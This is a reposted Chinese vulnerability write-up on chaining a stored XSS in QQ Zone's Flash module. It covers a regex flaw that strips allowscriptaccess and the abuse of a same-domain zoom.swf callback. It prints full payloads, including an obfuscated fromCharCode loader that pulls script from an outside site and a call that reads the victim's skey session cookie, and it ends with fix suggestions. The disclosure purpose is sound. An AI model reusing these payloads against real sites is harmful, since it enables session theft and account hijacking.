也想出现在这里? 联系我们

QQ空间存储型XSS漏洞的组合利用(图解)

作者 : 小编 本文共5504个字,预计阅读时间需要14分钟 发布时间: 2021-06-9 共4.85K人阅读
也想出现在这里? 联系我们

1. QQ空间某处正则混乱,导致恶意构造。2. QQ空间某文件存在潜在风险3. 1+2 = 此漏洞详细说明:1. 一开始的目标是这个http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,这个页面是用来修改QQ空间模块内容的。这里我选择提交的是FLASH模块。 由于此请求,每请求一次都需要输入一个验证码,所以没办法直接在抓包工具里修改并发送。所以最初是用调试工具去修改DOM属性,然后写自定义值来一次一次的试,后来实在觉得太麻烦了,就自己临时写了个小工具。以下测试均用此工具进行,如下,2. 开始试了此请求的几个参数(这里的参数是指qzml所发送的xml里的若干属性,例如width, height ,wmode etc ..),都被过滤了, 后来懒么,就把能写入内容的都改成了\’\\/<>..,结果侧漏了。。测试的qzml请求参数大概是这样:encodeURIComponent(\'<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" width="\\\’\\/<>" height="\\\’\\/<>" loop="\\\’\\/<>" waitforclick="\\\’\\/<>" wmode="\\\’\\/<>"/></div>\’.replace(/\\s/g,"+")).replace(/%2B/g,"+");侧漏效果大概如下:(反正是类似这个效果,懒的回去抓图了。)3. 开始分析侧漏原因。 发现height属性把其它属性都吞掉了。 于是其它参数复原,单个测试height,在height里加入单引号时, 服务器端的正则貌似就凌乱了。 同样有此现象的还有swfsrc 。因为服务器那边是怎么匹配的,不清楚, 于是就开始各种构造测试,看服务器端输出。反正测试了挺久。 具体就不详述。 因为服务器端输出的embed标签里,总是带着allowscriptaccess="never",导致我们调用的FLASH来执行脚本,所以最终目的,就是想用height来屏蔽掉allowscriptaccess="never" 。测试过程中,出现了以下几种阻碍。3A. allowscriptaccess="never" 成功被我们的height 吞掉, 但是src属性没了。服务器端输出如下代码:<div style="height: 142px;" id="cst_flash"><embed id="flash" height=\’ src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="\’ type="application/x-shockwave-flash" width="\’" src="" invokeurls="false" scalemode="noScale" allowscriptaccess=\’always"\’ embed="embed" menu="false"></div>3B. 自己添加了src 属性, 但是发现服务器端又自己加上了allowscriptaccess="never" 。。纠结了。服务器端输出如下代码:<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width=\’&amp;"34;src = http \’ src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" &gt;</div> www.jb51.net4. 对于各种无厘头,有时候还是要靠运气。 在3B的代码基础上,偶然发现,如果src属性里加了\\\’,就不会出现问题。 所以我们构造src地址为/c.swf?1=\\\’\\\’\\\’, 这样就不会出现allowscriptaccess参数了。5. 但是问题接着来了,大家都知道,allowscriptaccess 默认是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,还真有一个可以用的。 在抓包QQ空间的时候,瞥见这么一个FLASH,http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange我一瞧, 后面这个QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是个JS函数么。 于是试了一下。http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert果然可以弹出啊。 这样看来,我们可以利用下。 不过这个ctc.qzs.qq.com 和 模块的ctc.qzonestyle.gtimg.cn 还是不是一个域啊, 但是运气好,恰好, 这2个域名,貌似资源文件是一样的,或者有部分是一样的?ctc.qzonestyle.gtimg.cn 下面也有该FLASH文件。 如下:http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert6. 所以,我们最终可以构造出FLASH的src为/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\\\’\\\’\\\’\\\’其中,前面是FLASH地址,onchange参数调用我们自己函数,1=\\\’\\\’\\\’\\\’ 是为了屏蔽掉allowscriptaccess="never"7. 上面这个地址我们简写为{SWFURL}, 它是位于height属性里的,如下height="&quot;\\\’/\\< src={SWFURL} style=width:/ >"8. = = 写不下去了。。 直接上最后的测试代码。 有点乱。。有些是测试残留,没实际意义,比如里的&"34; 这种。。"qzml":encodeURIComponent(\'<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=https://img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf\\\’ ALLOWSCRIPTACCESS autostart=true\\\’\\"\\u0009src\\u0013=/c.swf / < >" width="&"34;src = http " height="&quot;\\\’/\\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\\\’\\\’\\\’\\\’ style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>\’.replace(/\\s/g,"+")).replace(/%2B/g,"+")9. 上面代码会调用我自己的网站的JS。 在调用JS这一步,目测IE 应该是通杀吧?IE6没试过。vista+IE7, win7+IE8,9 是可以的。Chrome 也是可以的,ff 下蛋疼了,需要给加上type="application/x-shockwave-flash" 才行, 没去弄,这个属性应该也是可以加的上的。10. 到这里, 可以alert, 可以跳转。IE下的alertChrome下的跳转11. 但是我们亲爱的cookies 没办法弹出来啊。原因是,如前所述,模块的域是ctc.qzonestyle.gtimg.cn ,而空间的域是qq.com ,没有办法跨域获取cookies。不过好在,QQ空间开发人员为我们准备好了这一功能, 原理就是在当前页中,嵌入一个和父窗口同域的iframe页面,来进行通讯。我们直接调用QQ空间开发人员写好的库,来获取cookies,代码如下:QZONE.Cross.Client.getInstance().sendInvoke(\’QZFL.cookie.get\’, \’skey\’,function(str){alert("您的skey是:"+str);});效果如下:需要说明的是: 获取cookies这一步,IE下有效,chrome 貌似错误了,粗略看了下,对于跨域请求,Qzone开发人员针对HTML5和普通的采用的是不同的方案,在chrome下莫名的悲剧了。。 我只是调用了你们开发人员写的东西,= = 悲剧别找我,哈哈修复方案:1. 服务器端在从提交过去的qzml这段XML里获取FLASH的属性时,正则写错了? 只是猜测。2. 目测服务器端验证qzml是否合法的正则不够好, 像width, height 这种参数,直接\\d{m,n}就可以吧。 貌似width ,height 属性里什么东西都可以写啊。 只在客户端限制width,height输入框长度为3,没什么实际作用的。。其它属性也一样,什么wmode只需要true|false 即可。3. 这个http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location=\’钓鱼网站\’} 单独就是一个漏洞。http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 这个被利用的flash文件需修改一下。 在FLASH限制一下onchange 参数的值。作者 gainover

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » QQ空间存储型XSS漏洞的组合利用(图解)

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录